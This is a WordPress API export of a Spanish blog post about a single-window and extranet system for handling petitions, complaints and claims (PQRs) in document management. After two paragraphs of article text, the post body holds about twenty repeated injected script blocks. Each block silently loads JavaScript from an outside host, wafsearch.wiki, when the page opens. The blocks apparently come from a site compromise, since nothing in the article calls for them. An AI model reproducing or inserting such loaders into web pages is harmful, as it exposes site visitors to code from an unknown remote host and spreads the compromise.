{"id":1904,"date":"2018-01-07T16:47:01","date_gmt":"2018-01-07T21:47:01","guid":{"rendered":"http:\/\/www.blocument.com\/?p=1904"},"modified":"2026-03-20T04:04:47","modified_gmt":"2026-03-20T09:04:47","slug":"ventanilla-unica-y-extranet-para-pqrs-solucion-integral-de-radicacion","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/ventanilla-unica-y-extranet-para-pqrs-solucion-integral-de-radicacion\/","title":{"rendered":"Ventanilla \u00danica y Extranet para PQRs: soluci\u00f3n integral de radicaci\u00f3n"},"content":{"rendered":"<p>El cumplimiento de la <a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2018\/01\/buzon-pqr-1.jpg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-1905\" title=\"buzon-pqr\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2018\/01\/buzon-pqr-1.jpg\" alt=\"\" width=\"224\" height=\"224\" \/><\/a><strong>normativa en gesti\u00f3n documental, transparencia y eficiencia administrativa<\/strong> exige, entre otros, el control de la documentaci\u00f3n que entra y sale de la organizaci\u00f3n, su clasificaci\u00f3n y tr\u00e1mite mediante expedientes, y la atenci\u00f3n de peticiones, quejas, reclamaciones y otro tipo de solicitudes de los usuarios (las denominadas <strong>PQRs<\/strong>).<\/p>\n<p>Con la puesta en marcha de <strong>soluciones de gesti\u00f3n electr\u00f3nica de documentos<\/strong> surgen retos importantes para cualquier tipo de organizaci\u00f3n, p\u00fablica o privada. Si permitimos que los usuarios puedan realizar solicitudes (f\u00edsicas o en l\u00ednea), debemos crear una nueva infraestructura que no nos obligue a duplicar recursos t\u00e9cnicos o humanos para ofrecer una buena atenci\u00f3n al p\u00fablico. <script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 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'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/usa';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El cumplimiento de la normativa en gesti\u00f3n documental, transparencia y eficiencia administrativa exige, entre otros, el control de la documentaci\u00f3n que entra y sale de la organizaci\u00f3n, su clasificaci\u00f3n y tr\u00e1mite mediante expedientes, y la atenci\u00f3n de peticiones, quejas, reclamaciones y otro tipo de solicitudes de los usuarios (las denominadas PQRs).<\/p>\n<p>Con la puesta en marcha de soluciones de gesti\u00f3n electr\u00f3nica de documentos surgen retos importantes para cualquier tipo de organizaci\u00f3n, p\u00fablica o privada. Si permitimos que los usuarios puedan realizar solicitudes (f\u00edsicas o en l\u00ednea), debemos crear una nueva infraestructura que no nos obligue a duplicar recursos t\u00e9cnicos o humanos para ofrecer una buena atenci\u00f3n al p\u00fablico. <\/p>\n","protected":false},"author":3,"featured_media":1905,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[243,245,247,249],"tags":[29,58,61,91],"amp_validity":null,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/1904\/"}],"collection":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/"}],"about":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/types\/post\/"}],"author":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/users\/3\/"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/comments\/?post=1904"}],"version-history":[{"count":23,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/1904\/revisions\/"}],"predecessor-version":[{"id":12916,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/1904\/revisions\/12916\/"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/1905\/"}],"wp:attachment":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/?parent=1904"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/categories\/?post=1904"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/tags\/?post=1904"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}